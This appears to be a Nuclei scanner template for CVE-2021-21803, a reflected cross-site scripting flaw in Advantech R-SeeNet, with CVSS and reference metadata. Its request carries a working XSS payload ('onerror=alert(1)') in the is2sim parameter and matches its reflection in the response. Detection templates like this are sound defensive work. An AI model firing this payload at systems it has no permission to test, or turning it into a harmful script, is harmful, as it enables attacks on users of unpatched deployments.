51 lines
1.6 KiB
YAML
51 lines
1.6 KiB
YAML
id: CVE-2021-21803
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info:
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name: Advantech R-SeeNet - Cross-Site Scripting
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author: gy741
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severity: medium
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description: Advantech R-SeeNet is vulnerable to cross-site scripting via the device_graph_page.php script via the is2sim parameter. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution.
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remediation: |
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Apply the latest security patches or updates provided by Advantech to mitigate this vulnerability.
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reference:
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- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21803
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-21803
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cwe-id: CWE-79
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epss-score: 0.83742
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epss-percentile: 0.98105
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cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: advantech
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product: r-seenet
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tags: cve,cve2021,rseenet,xss
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http:
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- method: GET
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path:
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- '{{BaseURL}}/php/device_graph_page.php?is2sim=%22zlo%20onerror=alert(1)%20%22'
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '"zlo onerror=alert(1) "'
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- 'Device Status Graph'
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condition: and
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100942070c6eae6b530435b327ee90ccccdba55c10370bced238de9bf9777d8571d022100edce40208fb41f63d77669177229d2dd65614c39584980295d59a8c2ba888319:922c64590222798bb761d5b6d8e72950
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